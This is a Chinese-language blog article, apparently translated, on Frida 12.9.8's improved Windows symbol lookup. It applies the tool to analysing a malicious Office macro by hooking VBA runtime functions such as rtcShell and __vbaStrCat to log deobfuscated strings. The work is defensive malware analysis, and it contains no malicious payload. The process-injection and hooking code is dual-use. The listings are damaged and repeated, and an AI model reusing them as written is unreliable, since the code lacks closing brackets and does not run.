社区编辑申请
注册/登录
使用Frida对Windows平台的程序进行逆向分析
开发
Frida由于使用JavaScript语言安装钩子的便利性而在最近变得越来越流行。

 Frida由于使用JavaScript语言安装钩子的便利性而在最近变得越来越流行。我看到许多研究都将Frida用于移动平台,但最近Windows似乎在使用方面有了更多的吸引力。在DarunGrim,我们正在研究安全研究人员可以用于日常工作的新方法。Frida是我们认为可用于Windows逆向工程的工具之一。但是,在我们的测试过程中,我们发现符号查找功能是该工具广泛使用的限制因素。我们进行了改进,现在Frida 12.9.8中可以使用它。我们非常感谢OleAndréVadlaRavnås在合并变更方面的帮助。

我们将简要介绍一下所做的更改,并说明如何在现实世界中解决问题时使用改进的符号查找功能。

0x01 对Frida 12.9.8 的改进

Frida使用dbghelp.dll API在Windows平台中查找符号。但是它缺少符号服务器支持。我们增加了对符号服务器的支持,并改进了Windows中传递符号字符串的方式。在较旧的Frida实现中,查找每个符号花费了一些时间,因为它使用通配符模块名称查找任何符号。现在,你可以指定模块名称以加快符号查找的速度。

新的Frida将随symsrv.dll和dbghelp.dll一起提供,以支持包括Microsoft符号服务器在内的符号服务器。

这些是我们在Ole的帮助下所做的更改。

  1. · Add load_symbols() and improve the DbgHelp backend 
  2.  
  3. · Migrate agent to new DbgHelp layout on Windows 
  4.  
  5. · Frida 12.9.8 

0x02 分析office的恶意宏

使用改进的Frida对一个Office Macro恶意软件进行分析,我们希望将其应用到Frida中进行深度分析。

代码注入

下图显示了Frida通常如何安装hook并从已安装的hook中获取消息。

 

此过程中涉及frida,session,脚本对象,以管理hook安装。hook回调是用JavaScript编写的。

以下代码显示了如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码以使用process_id变量进行处理的示例。

  1. https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/code.py 
  2.  
  3.  
  4. import os 
  5. import sys 
  6. import frida 
  7. import process 
  8.  
  9. class Instrumenter: 
  10.     def __init__(self, script_text): 
  11.         self.sessions = [] 
  12.         self.script_text = script_text 
  13.         self._device = frida.get_local_device() 
  14.         self._device.on("child-added", self._on_child_added) 
  15.         self._device.on("child-removed", self._on_child_removed) 
  16.         self._device.on("output", self._on_output) 
  17.          
  18.     def __del__(self): 
  19.         for session in self.sessions: 
  20.             session.detach() 
  21.  
  22.     def run(self, process_name): 
  23.         proc = process.Runner(process_name, suspended = True
  24.         if not proc.create(): 
  25.             return 
  26.         process_id = proc.get_id() 
  27.  
  28.         self.instrument(process_id) 
  29.  
  30.         if proc: 
  31.             proc.resume() 
  32.  
  33.     def instrument(self, process_id): 
  34.         session = frida.attach(process_id) 
  35.         self.sessions.append(session) 
  36.         session.enable_child_gating() 
  37.         script = session.create_script(self.script_text) 
  38.         script.on('message', self.on_message) 
  39.         script.load() 
  40.  
  41.     def on_message(self, message, data): 
  42.         print("[%s] => %s" % (message, data)) 
  43.  
  44.     def _on_child_added(self, child): 
  45.         print("⚡ new child: {}".format(child)) 
  46.         self.instrument(child.pid) 
  47.  
  48.     def _on_child_removed(self, child): 
  49.         print("⚡ child terminated: {}".format(child)) 
  50.  
  51.     def _on_output(self, pid, fd, data): 
  52.         print("⚡ output: pid={}, fd={}, data={}".format(pid, fd, repr(data))) 
  53. 符号查找:resolveName 
  54.  
  55. Frida JavaScript API在API文档中有很好的描述。 
  56.  
  57. 使用Frida进行hook的第一步是找到目标函数。 
  58.  
  59. 如果函数已导出,则只需使用导出的函数名和DLL名称调用Module.findExportByName方法。 
  60.  
  61. Module.findExportByName(dllName, name
  62. 但是,如果该函数未导出并且仅记录在例如PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,你可以传递“ DLLName!FunctionName”符号,以在指定特定功能时提高准确性,并在定位它们时获得更好的性能。 
  63.  
  64. 有时,为模块加载符号可能很慢,因为它可能来自远程符号服务器。因此,你需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。 
  65.  
  66. 下面是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存其发现,以删除所有重复的信息。如果你要hook大量函数,则可以节省整个符号查找时间。 
  67.  
  68. vbe.js 
  69.  
  70. https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js 
  71.  
  72. var loadedModules = {} 
  73. var resolvedAddresses = {} 
  74.  
  75. function resolveName(dllName, name) { 
  76.   var moduleName = dllName.split('.')[0] 
  77.   var functionName = moduleName + "!" + name 
  78.  
  79.   if (functionName in resolvedAddresses) { 
  80.     return resolvedAddresses[functionName] 
  81.   } 
  82.  
  83.   log("resolveName " + functionName); 
  84.   log("Module.findExportByName " + dllName + " " + name); 
  85.   var addr = Module.findExportByName(dllName, name
  86.  
  87.   if (!addr || addr.isNull()) { 
  88.     if (!(dllName in loadedModules)) { 
  89.       log(" DebugSymbol.loadModule " + dllName); 
  90.  
  91.       try { 
  92.         DebugSymbol.load(dllName) 
  93.       } catch (err) { 
  94.         return 0; 
  95.       } 
  96.  
  97.       log(" DebugSymbol.load finished"); 
  98.       loadedModules[dllName] = 1 
  99.     } 
  100.  
  101.     try { 
  102.       log(" DebugSymbol.getFunctionByName: " + functionName); 
  103.       addr = DebugSymbol.getFunctionByName(moduleName + '!' + name
  104.       log(" DebugSymbol.getFunctionByName: addr = " + addr); 
  105.     } catch (err) { 
  106.       log(" DebugSymbol.getFunctionByName: Exception"
  107.     } 
  108.   } 
  109.  
  110.   resolvedAddresses[functionName] = addr 
  111.   return addr 
  112.  
  113. function loadModuleForAddress(address) { 
  114.   var modules = Process.enumerateModules() 
  115.  
  116.   var i 
  117.   for (i = 0; i < modules.length; i++) { 
  118.     if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) { 
  119.       log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path) 
  120.  
  121.       var modName = modules[i].path 
  122.       if (!(modName in loadedModules)) { 
  123.         log("  DebugSymbol.loadModule " + modName); 
  124.  
  125.         try { 
  126.           DebugSymbol.load(modName) 
  127.         } catch (err) { 
  128.           return 0; 
  129.         } 
  130.  
  131.         loadedModules[modName] = 1 
  132.       } 
  133.       break 
  134.     } 
  135.   } 
  136.  
  137. var hookedFunctions = {} 
  138. var addressToFunctions = {} 
  139. var blackListedFunctions = { 
  140.   'I_RpcClearMutex': 1 
  141.  
  142. function hookFunction(dllName, funcName, callback) { 
  143.   if (funcName in blackListedFunctions) { 
  144.     return 
  145.   } 
  146.   var symbolName = dllName + "!" + funcName 
  147.   if (symbolName in hookedFunctions) { 
  148.     return 
  149.   } 
  150.   hookedFunctions[symbolName] = 1 
  151.  
  152.   var addr = resolveName(dllName, funcName) 
  153.   if (!addr || addr.isNull()) { 
  154.     return 
  155.   } 
  156.  
  157.   if (addr in hookedFunctions) { 
  158.     return 
  159.   } 
  160.   hookedFunctions[addr] = 1 
  161.  
  162.   addressToFunctions[addr] = symbolName 
  163.   log('Interceptor.attach: ' + symbolName + '@' + addr); 
  164.   Interceptor.attach(addr, callback) 
  165.  
  166. function hookPointers(address, count) { 
  167.   if (address.isNull()) 
  168.     return 
  169.  
  170.   var currentAddress = address 
  171.   for (var i = 0; i < count; i++) { 
  172.     var readAddress = ptr(currentAddress).readPointer(); 
  173.     readAddress = ptr(readAddress) 
  174.     var symbolInformation = DebugSymbol.fromAddress(readAddress) 
  175.  
  176.     var name = readAddress 
  177.     if (symbolInformation && symbolInformation.name) { 
  178.       name = symbolInformation.name 
  179.     } 
  180.  
  181.     log('Hooking ' + readAddress + ": " + name
  182.  
  183.     try { 
  184.       Interceptor.attach(readAddress, { 
  185.         onEnter: function (args) { 
  186.           log('[+] ' + name
  187.         } 
  188.       }) 
  189.     } catch (err) {} 
  190.     currentAddress = currentAddress.add(4) 
  191.   } 
  192.  
  193. function hookFunctionNames(moduleName, funcNames) { 
  194.   for (var i = 0; i < funcNames.length; i++) { 
  195.     var funcName = funcNames[i] 
  196.  
  197.     try { 
  198.       hookFunction(moduleName, funcName, { 
  199.         onEnter: function (args) { 
  200.           var name = '' 
  201.           if (this.context.pc in addressToFunctions) { 
  202.             name = addressToFunctions[this.context.pc] 
  203.           } 
  204.           log("[+] " + name + " (" + this.context.pc + ")"
  205.         } 
  206.       }) 
  207.     } catch (err) { 
  208.       log("Failed to hook " + funcName) 
  209.     } 
  210.   } 
  211.  
  212. function BytesToCLSID(address) { 
  213.   if (address.isNull()) 
  214.     return 
  215.  
  216.   var data = new Uint8Array(ptr(address).readByteArray(0x10)) 
  217.   var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0]) 
  218.   clsid += '-' + getHexString(data[5]) + getHexString(data[4]) 
  219.   clsid += '-' + getHexString(data[7]) + getHexString(data[6]) 
  220.   clsid += '-' + getHexString(data[8]) + getHexString(data[9]) 
  221.   clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15]) 
  222.   clsid += '}' 
  223.  
  224.   return clsid 
  225.  
  226. function log(message) { 
  227.   console.log(message) 
  228.  
  229. function dumpAddress(address) { 
  230.   log('[+] address: ' + address); 
  231.  
  232.   if (address.isNull()) 
  233.     return 
  234.   var data = ptr(address).readByteArray(50); 
  235.   log(hexdump(data, { 
  236.     offset: 0, 
  237.     length: 50, 
  238.     header: true
  239.     ansi: false 
  240.   })); 
  241.  
  242. function dumpBytes(address, length) { 
  243.   if (address.isNull()) 
  244.     return 
  245.   var data = ptr(address).readByteArray(length); 
  246.   log(hexdump(data, { 
  247.     offset: 0, 
  248.     length: length, 
  249.     header: true
  250.     ansi: false 
  251.   })); 
  252.  
  253. function dumpSymbols(address, count) { 
  254.   if (address.isNull()) 
  255.     return 
  256.  
  257.   var currentAddress = address 
  258.   for (var i = 0; i < count; i++) { 
  259.     var readAddress = ptr(currentAddress).readPointer(); 
  260.     readAddress = ptr(readAddress) 
  261.     var symbolInformation = DebugSymbol.fromAddress(readAddress) 
  262.  
  263.     if (symbolInformation && symbolInformation.name) { 
  264.       log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name
  265.     } else { 
  266.       log(currentAddress + ":\t" + readAddress) 
  267.     } 
  268.     currentAddress = currentAddress.add(4) 
  269.   } 
  270.  
  271. function dumpBSTR(address) { 
  272.   log('[+] address: ' + address); 
  273.  
  274.   if (address.isNull()) 
  275.     return 
  276.  
  277.   var length = ptr(address - 4).readULong(4); 
  278.   log("length: " + length) 
  279.   var data = ptr(address).readByteArray(length); 
  280.   log(hexdump(data, { 
  281.     offset: 0, 
  282.     length: length, 
  283.     header: true
  284.     ansi: false 
  285.   })); 
  286.  
  287. function getString(address) { 
  288.   if (address.isNull()) 
  289.     return 
  290.  
  291.   var dataString = '' 
  292.  
  293.   var offset = 0 
  294.   var stringEnded = false 
  295.   while (!stringEnded) { 
  296.     var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10)); 
  297.  
  298.     if (data.length <= 0) { 
  299.       break 
  300.     } 
  301.  
  302.     var i; 
  303.     for (i = 0; i < data.length; i++) { 
  304.       if (data[i] == 0x0) { 
  305.         stringEnded = true 
  306.         break 
  307.       } 
  308.       dataString += String.fromCharCode(data[i]) 
  309.     } 
  310.     offset += data.length 
  311.   } 
  312.  
  313.   log("dataString: " + dataString) 
  314.   return dataString; 
  315.  
  316. function dumpWSTR(address) { 
  317.   if (address.isNull()) 
  318.     return 
  319.  
  320.   var dataString = '' 
  321.  
  322.   var offset = 0 
  323.   var stringEnded = false 
  324.   while (!stringEnded) { 
  325.     var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20)); 
  326.  
  327.     if (data.length <= 0) { 
  328.       break 
  329.     } 
  330.  
  331.     var i; 
  332.     for (i = 0; i < data.length; i += 2) { 
  333.       if (data[i] == 0x0 && data[i + 1] == 0x0) { 
  334.         stringEnded = true 
  335.         break 
  336.       } 
  337.       dataString += String.fromCharCode(data[i]) 
  338.     } 
  339.     offset += data.length 
  340.   } 
  341.  
  342.   log("dataString: " + dataString) 
  343.   return dataString; 
  344.  
  345. function hookRtcShell(moduleName) { 
  346.   hookFunction(moduleName, "rtcShell", { 
  347.     onEnter: function (args) { 
  348.       log("[+] rtcShell"
  349.       var variantArg = ptr(args[0]) 
  350.       dumpAddress(variantArg); 
  351.       var bstrPtr = ptr(variantArg.add(8).readULong()) 
  352.       dumpBSTR(bstrPtr); 
  353.     } 
  354.   }) 
  355.  
  356. function hookVBAStrCat(moduleName) { 
  357.   hookFunction(moduleName, "__vbaStrCat", { 
  358.     onEnter: function (args) { 
  359.       log("[+] __vbaStrCat"
  360.       // log('[+] ' + name); 
  361.       // dumpBSTR(args[0]); 
  362.       // dumpBSTR(args[1]); 
  363.     }, 
  364.     onLeave: function (retval) { 
  365.       dumpBSTR(retval); 
  366.     } 
  367.   }) 
  368.  
  369. function hookVBAStrComp(moduleName) { 
  370.   hookFunction(moduleName, "__vbaStrComp", { 
  371.     onEnter: function (args) { 
  372.       log('[+] __vbaStrComp'); 
  373.       log(ptr(args[1]).readUtf16String()) 
  374.       log(ptr(args[2]).readUtf16String()) 
  375.     } 
  376.   }) 
  377.  
  378. function hookRtcCreateObject(moduleName) { 
  379.   hookFunction(moduleName, "rtcCreateObject", { 
  380.     onEnter: function (args) { 
  381.       log('[+] rtcCreateObject'); 
  382.       dumpAddress(args[0]); 
  383.       dumpBSTR(args[0]); 
  384.       log(ptr(args[0]).readUtf16String()) 
  385.     }, 
  386.     onLeave: function (retval) { 
  387.       dumpAddress(retval); 
  388.     } 
  389.   }) 
  390.  
  391. function hookRtcCreateObject2(moduleName) { 
  392.   hookFunction(moduleName, "rtcCreateObject2", { 
  393.     onEnter: function (args) { 
  394.       log('[+] rtcCreateObject2'); 
  395.       dumpAddress(args[0]); 
  396.       dumpBSTR(args[1]); 
  397.       log(ptr(args[2]).readUtf16String()) 
  398.     }, 
  399.     onLeave: function (retval) { 
  400.       dumpAddress(retval); 
  401.     } 
  402.   }) 
  403.  
  404. //  int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *) 
  405. function hookCVbeProcsCallMacro(moduleName) { 
  406.   hookFunction(moduleName, "CVbeProcs::CallMacro", { 
  407.     onEnter: function (args) { 
  408.       log('[+] CVbeProcs::CallMacro'); 
  409.       dumpAddress(args[0]); 
  410.       dumpWSTR(args[1]); 
  411.     }, 
  412.     onLeave: function (retval) { 
  413.       dumpAddress(retval); 
  414.     } 
  415.   }) 
  416.  
  417. function hookDispCall(moduleName) { 
  418.   hookFunction(moduleName, "DispCallFunc", { 
  419.     onEnter: function (args) { 
  420.       log("[+] DispCallFunc"
  421.       var pvInstance = args[0] 
  422.       var oVft = args[1] 
  423.       var instance = ptr(ptr(pvInstance).readULong()); 
  424.  
  425.       log(' instance:' + instance); 
  426.       log(' oVft:' + oVft); 
  427.       var vftbPtr = instance.add(oVft) 
  428.       log(' vftbPtr:' + vftbPtr); 
  429.       var functionAddress = ptr(ptr(vftbPtr).readULong()) 
  430.  
  431.       loadModuleForAddress(functionAddress) 
  432.       var functionName = DebugSymbol.fromAddress(functionAddress) 
  433.  
  434.       if (functionName) { 
  435.         log(' functionName:' + functionName); 
  436.       } 
  437.  
  438.       dumpAddress(functionAddress); 
  439.  
  440.       var currentAddress = functionAddress 
  441.       for (var i = 0; i < 10; i++) { 
  442.         try { 
  443.           var instruction = Instruction.parse(currentAddress) 
  444.           log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) 
  445.           currentAddress = instruction.next 
  446.         } catch (err) { 
  447.           break 
  448.         } 
  449.       } 
  450.     } 
  451.   }) 
  452.  
  453. hookRtcShell('vbe7'
  454. hookVBAStrCat('vbe7'
  455. hookVBAStrComp('vbe7'
  456. hookRtcCreateObject('vbe7'
  457. hookRtcCreateObject2('vbe7'
  458. hookCVbeProcsCallMacro('vbe7'
  459. hookDispCall('oleaut32'

设置符号路径

在Windows环境下设置符号服务器有多种方法,建议你从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbol-path
以下将使用“ c:\ symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。

setx _NT_SYMBOL_PATH SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
以下命令将使系统使用默认的符号存储目录。

setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
运行恶意软件并观察行为

我们使用以下示例测试Frida的符号查找功能。恶意样本做了一些混淆,可以使用Frida hook轻松分析。

 

我们在此处提供的代码可从以下GitHub存储库中找到。

  1. https://github.com/ohjeongwook/Frida.examples.vbe 
  2.  
  3. var loadedModules = {} 
  4. var resolvedAddresses = {} 
  5.  
  6. function resolveName(dllName, name) { 
  7.   var moduleName = dllName.split('.')[0] 
  8.   var functionName = moduleName + "!" + name 
  9.  
  10.   if (functionName in resolvedAddresses) { 
  11.     return resolvedAddresses[functionName] 
  12.   } 
  13.  
  14.   log("resolveName " + functionName); 
  15.   log("Module.findExportByName " + dllName + " " + name); 
  16.   var addr = Module.findExportByName(dllName, name
  17.  
  18.   if (!addr || addr.isNull()) { 
  19.     if (!(dllName in loadedModules)) { 
  20.       log(" DebugSymbol.loadModule " + dllName); 
  21.  
  22.       try { 
  23.         DebugSymbol.load(dllName) 
  24.       } catch (err) { 
  25.         return 0; 
  26.       } 
  27.  
  28.       log(" DebugSymbol.load finished"); 
  29.       loadedModules[dllName] = 1 
  30.     } 
  31.  
  32.     try { 
  33.       log(" DebugSymbol.getFunctionByName: " + functionName); 
  34.       addr = DebugSymbol.getFunctionByName(moduleName + '!' + name
  35.       log(" DebugSymbol.getFunctionByName: addr = " + addr); 
  36.     } catch (err) { 
  37.       log(" DebugSymbol.getFunctionByName: Exception"
  38.     } 
  39.   } 
  40.  
  41.   resolvedAddresses[functionName] = addr 
  42.   return addr 

因此,当你启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装hook。安装hook之后,你可以打开恶意文档以观察其行为

  1. > python inject.py -p 3064 vbe.js 
  2.  
  3. resolveName vbe7!rtcShell 
  4. Module.findExportByName vbe7 rtcShell 
  5. Interceptor.attach: vbe7!rtcShell@0x652a2b76 
  6. resolveName vbe7!__vbaStrCat 
  7. Module.findExportByName vbe7 __vbaStrCat 
  8.  DebugSymbol.loadModule vbe7 
  9.  DebugSymbol.load finished 
  10.  DebugSymbol.getFunctionByName: vbe7!__vbaStrCat 
  11.  DebugSymbol.getFunctionByName: addr = 0x651e53e6 
  12. Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6 
  13. resolveName vbe7!__vbaStrComp 
  14. Module.findExportByName vbe7 __vbaStrComp 
  15.  DebugSymbol.getFunctionByName: vbe7!__vbaStrComp 
  16.  DebugSymbol.getFunctionByName: addr = 0x651e56a2 
  17. Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2 
  18. resolveName vbe7!rtcCreateObject 
  19. Module.findExportByName vbe7 rtcCreateObject 
  20. Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c 
  21. resolveName vbe7!rtcCreateObject2 
  22. Module.findExportByName vbe7 rtcCreateObject2 
  23. Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece 
  24. resolveName vbe7!CVbeProcs::CallMacro 
  25. Module.findExportByName vbe7 CVbeProcs::CallMacro 
  26.  DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro 
  27.  DebugSymbol.getFunctionByName: addr = 0x6529019b 
  28. Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b 
  29. resolveName oleaut32!DispCallFunc 
  30. Module.findExportByName oleaut32 DispCallFunc 
  31. Interceptor.attach: oleaut32!DispCallFunc@0x747995b0 
  32. [!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program. 

hook监控office的宏行为

vbe.js很少有hook来监视恶意Office文档的行为。

__vbaStrCat

vbe7.dll是已找到Visual Basic运行时引擎的DLL,里面有很多有趣的函数。但是首先,我们想观察字符串去混淆操作

vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。

.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串的动作,你可以观察最终的去混淆字符串的构造。

以下hook代码将为每个调用打印出连接的字符串。

  1. https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js 
  2.  
  3.  
  4. var loadedModules = {} 
  5. var resolvedAddresses = {} 
  6.  
  7. function resolveName(dllName, name) { 
  8.   var moduleName = dllName.split('.')[0] 
  9.   var functionName = moduleName + "!" + name 
  10.  
  11.   if (functionName in resolvedAddresses) { 
  12.     return resolvedAddresses[functionName] 
  13.   } 
  14.  
  15.   log("resolveName " + functionName); 
  16.   log("Module.findExportByName " + dllName + " " + name); 
  17.   var addr = Module.findExportByName(dllName, name
  18.  
  19.   if (!addr || addr.isNull()) { 
  20.     if (!(dllName in loadedModules)) { 
  21.       log(" DebugSymbol.loadModule " + dllName); 
  22.  
  23.       try { 
  24.         DebugSymbol.load(dllName) 
  25.       } catch (err) { 
  26.         return 0; 
  27.       } 
  28.  
  29.       log(" DebugSymbol.load finished"); 
  30.       loadedModules[dllName] = 1 
  31.     } 
  32.  
  33.     try { 
  34.       log(" DebugSymbol.getFunctionByName: " + functionName); 
  35.       addr = DebugSymbol.getFunctionByName(moduleName + '!' + name
  36.       log(" DebugSymbol.getFunctionByName: addr = " + addr); 
  37.     } catch (err) { 
  38.       log(" DebugSymbol.getFunctionByName: Exception"
  39.     } 
  40.   } 
  41.  
  42.   resolvedAddresses[functionName] = addr 
  43.   return addr 
  44.  
  45. function loadModuleForAddress(address) { 
  46.   var modules = Process.enumerateModules() 
  47.  
  48.   var i 
  49.   for (i = 0; i < modules.length; i++) { 
  50.     if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) { 
  51.       log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path) 
  52.  
  53.       var modName = modules[i].path 
  54.       if (!(modName in loadedModules)) { 
  55.         log("  DebugSymbol.loadModule " + modName); 
  56.  
  57.         try { 
  58.           DebugSymbol.load(modName) 
  59.         } catch (err) { 
  60.           return 0; 
  61.         } 
  62.  
  63.         loadedModules[modName] = 1 
  64.       } 
  65.       break 
  66.     } 
  67.   } 
  68.  
  69. var hookedFunctions = {} 
  70. var addressToFunctions = {} 
  71. var blackListedFunctions = { 
  72.   'I_RpcClearMutex': 1 
  73.  
  74. function hookFunction(dllName, funcName, callback) { 
  75.   if (funcName in blackListedFunctions) { 
  76.     return 
  77.   } 
  78.   var symbolName = dllName + "!" + funcName 
  79.   if (symbolName in hookedFunctions) { 
  80.     return 
  81.   } 
  82.   hookedFunctions[symbolName] = 1 
  83.  
  84.   var addr = resolveName(dllName, funcName) 
  85.   if (!addr || addr.isNull()) { 
  86.     return 
  87.   } 
  88.  
  89.   if (addr in hookedFunctions) { 
  90.     return 
  91.   } 
  92.   hookedFunctions[addr] = 1 
  93.  
  94.   addressToFunctions[addr] = symbolName 
  95.   log('Interceptor.attach: ' + symbolName + '@' + addr); 
  96.   Interceptor.attach(addr, callback) 
  97.  
  98. function hookPointers(address, count) { 
  99.   if (address.isNull()) 
  100.     return 
  101.  
  102.   var currentAddress = address 
  103.   for (var i = 0; i < count; i++) { 
  104.     var readAddress = ptr(currentAddress).readPointer(); 
  105.     readAddress = ptr(readAddress) 
  106.     var symbolInformation = DebugSymbol.fromAddress(readAddress) 
  107.  
  108.     var name = readAddress 
  109.     if (symbolInformation && symbolInformation.name) { 
  110.       name = symbolInformation.name 
  111.     } 
  112.  
  113.     log('Hooking ' + readAddress + ": " + name
  114.  
  115.     try { 
  116.       Interceptor.attach(readAddress, { 
  117.         onEnter: function (args) { 
  118.           log('[+] ' + name
  119.         } 
  120.       }) 
  121.     } catch (err) {} 
  122.     currentAddress = currentAddress.add(4) 
  123.   } 
  124.  
  125. function hookFunctionNames(moduleName, funcNames) { 
  126.   for (var i = 0; i < funcNames.length; i++) { 
  127.     var funcName = funcNames[i] 
  128.  
  129.     try { 
  130.       hookFunction(moduleName, funcName, { 
  131.         onEnter: function (args) { 
  132.           var name = '' 
  133.           if (this.context.pc in addressToFunctions) { 
  134.             name = addressToFunctions[this.context.pc] 
  135.           } 
  136.           log("[+] " + name + " (" + this.context.pc + ")"
  137.         } 
  138.       }) 
  139.     } catch (err) { 
  140.       log("Failed to hook " + funcName) 
  141.     } 
  142.   } 
  143.  
  144. function BytesToCLSID(address) { 
  145.   if (address.isNull()) 
  146.     return 
  147.  
  148.   var data = new Uint8Array(ptr(address).readByteArray(0x10)) 
  149.   var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0]) 
  150.   clsid += '-' + getHexString(data[5]) + getHexString(data[4]) 
  151.   clsid += '-' + getHexString(data[7]) + getHexString(data[6]) 
  152.   clsid += '-' + getHexString(data[8]) + getHexString(data[9]) 
  153.   clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15]) 
  154.   clsid += '}' 
  155.  
  156.   return clsid 
  157.  
  158. function log(message) { 
  159.   console.log(message) 
  160.  
  161. function dumpAddress(address) { 
  162.   log('[+] address: ' + address); 
  163.  
  164.   if (address.isNull()) 
  165.     return 
  166.   var data = ptr(address).readByteArray(50); 
  167.   log(hexdump(data, { 
  168.     offset: 0, 
  169.     length: 50, 
  170.     header: true
  171.     ansi: false 
  172.   })); 
  173.  
  174. function dumpBytes(address, length) { 
  175.   if (address.isNull()) 
  176.     return 
  177.   var data = ptr(address).readByteArray(length); 
  178.   log(hexdump(data, { 
  179.     offset: 0, 
  180.     length: length, 
  181.     header: true
  182.     ansi: false 
  183.   })); 
  184.  
  185. function dumpSymbols(address, count) { 
  186.   if (address.isNull()) 
  187.     return 
  188.  
  189.   var currentAddress = address 
  190.   for (var i = 0; i < count; i++) { 
  191.     var readAddress = ptr(currentAddress).readPointer(); 
  192.     readAddress = ptr(readAddress) 
  193.     var symbolInformation = DebugSymbol.fromAddress(readAddress) 
  194.  
  195.     if (symbolInformation && symbolInformation.name) { 
  196.       log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name
  197.     } else { 
  198.       log(currentAddress + ":\t" + readAddress) 
  199.     } 
  200.     currentAddress = currentAddress.add(4) 
  201.   } 
  202.  
  203. function dumpBSTR(address) { 
  204.   log('[+] address: ' + address); 
  205.  
  206.   if (address.isNull()) 
  207.     return 
  208.  
  209.   var length = ptr(address - 4).readULong(4); 
  210.   log("length: " + length) 
  211.   var data = ptr(address).readByteArray(length); 
  212.   log(hexdump(data, { 
  213.     offset: 0, 
  214.     length: length, 
  215.     header: true
  216.     ansi: false 
  217.   })); 
  218.  
  219. function getString(address) { 
  220.   if (address.isNull()) 
  221.     return 
  222.  
  223.   var dataString = '' 
  224.  
  225.   var offset = 0 
  226.   var stringEnded = false 
  227.   while (!stringEnded) { 
  228.     var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10)); 
  229.  
  230.     if (data.length <= 0) { 
  231.       break 
  232.     } 
  233.  
  234.     var i; 
  235.     for (i = 0; i < data.length; i++) { 
  236.       if (data[i] == 0x0) { 
  237.         stringEnded = true 
  238.         break 
  239.       } 
  240.       dataString += String.fromCharCode(data[i]) 
  241.     } 
  242.     offset += data.length 
  243.   } 
  244.  
  245.   log("dataString: " + dataString) 
  246.   return dataString; 
  247.  
  248. function dumpWSTR(address) { 
  249.   if (address.isNull()) 
  250.     return 
  251.  
  252.   var dataString = '' 
  253.  
  254.   var offset = 0 
  255.   var stringEnded = false 
  256.   while (!stringEnded) { 
  257.     var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20)); 
  258.  
  259.     if (data.length <= 0) { 
  260.       break 
  261.     } 
  262.  
  263.     var i; 
  264.     for (i = 0; i < data.length; i += 2) { 
  265.       if (data[i] == 0x0 && data[i + 1] == 0x0) { 
  266.         stringEnded = true 
  267.         break 
  268.       } 
  269.       dataString += String.fromCharCode(data[i]) 
  270.     } 
  271.     offset += data.length 
  272.   } 
  273.  
  274.   log("dataString: " + dataString) 
  275.   return dataString; 
  276.  
  277. function hookRtcShell(moduleName) { 
  278.   hookFunction(moduleName, "rtcShell", { 
  279.     onEnter: function (args) { 
  280.       log("[+] rtcShell"
  281.       var variantArg = ptr(args[0]) 
  282.       dumpAddress(variantArg); 
  283.       var bstrPtr = ptr(variantArg.add(8).readULong()) 
  284.       dumpBSTR(bstrPtr); 
  285.     } 
  286.   }) 
  287.  
  288. function hookVBAStrCat(moduleName) { 
  289.   hookFunction(moduleName, "__vbaStrCat", { 
  290.     onEnter: function (args) { 
  291.       log("[+] __vbaStrCat"
  292.       // log('[+] ' + name); 
  293.       // dumpBSTR(args[0]); 
  294.       // dumpBSTR(args[1]); 
  295.     }, 
  296.     onLeave: function (retval) { 
  297.       dumpBSTR(retval); 
  298.     } 
  299.   }) 
  300.  
  301. function hookVBAStrComp(moduleName) { 
  302.   hookFunction(moduleName, "__vbaStrComp", { 
  303.     onEnter: function (args) { 
  304.       log('[+] __vbaStrComp'); 
  305.       log(ptr(args[1]).readUtf16String()) 
  306.       log(ptr(args[2]).readUtf16String()) 
  307.     } 
  308.   }) 
  309.  
  310. function hookRtcCreateObject(moduleName) { 
  311.   hookFunction(moduleName, "rtcCreateObject", { 
  312.     onEnter: function (args) { 
  313.       log('[+] rtcCreateObject'); 
  314.       dumpAddress(args[0]); 
  315.       dumpBSTR(args[0]); 
